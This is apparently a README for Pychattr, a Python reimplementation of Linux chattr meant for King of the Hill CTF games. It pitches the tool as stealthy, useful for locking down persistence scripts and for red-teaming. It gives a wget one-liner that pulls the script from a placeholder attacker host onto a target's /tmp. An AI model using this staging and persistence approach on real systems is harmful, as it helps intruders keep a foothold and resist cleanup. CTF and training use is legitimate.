Pychattr

A standalone, pure Python implementation of the Linux chattr utility.

🎯 Why use this?

In King of the Hill (KotH) CTFs (like on TryHackMe or HackTheBox), a common aggressive tactic is to delete the /usr/bin/chattr binary. This prevents other players from using the +i (immutable) flag to lock down their flags or persistence scripts.

Pychattr solves this problem.

• No Binary Dependencies: It does not call the system chattr. It uses fcntl and ioctl to interact directly with the file system drivers.
• Stealthy: It looks like a standard Python script.
• Portable: Written in Python 2 (standard on many legacy/CTF Linux boxes).

🚀 Installation

Since you likely won't have internet access to git clone on a restricted target machine, you usually copy/paste the code or use wget/curl.

One-liner (if you host the file)

wget http://YOUR_IP/chattr.py -O /tmp/chattr && chmod +x /tmp/chattr

🛠 Usage

The syntax is designed to mimic the standard chattr command.

./chattr.py [operator][flags] [filename]

Common Flags

• i: Immutable (File cannot be modified, deleted, or renamed)
• a: Append only
• R: Recursive (Apply to directories)

Examples

Make a flag file immutable (Lock it down):

./chattr.py +i /root/king.txt

Unlock a file (so you can edit it):

./chattr.py -i /root/king.txt

Recursively unlock a directory:

./chattr.py -R -i /var/www/html

View help:

./chattr.py
# Usage: chattr [-RVf] [-+=flags] files...

📝 supported Attributes

The script supports the standard ext file system attributes mapped via FS_IOC_SETFLAGS:

Flag	Description
i	Immutable
a	Append Only
d	No dump
A	No atime updates
s	Secure deletion
...	And other standard attributes

⚠️ Compatibility

• Python Version: Written for Python 2 (common on older servers and CTF boxes).
• Privileges: You typically need root privileges to set the Immutable (i) or Append-only (a) flags, just like the real binary.

Free to use for CTFs, education, and red-teaming.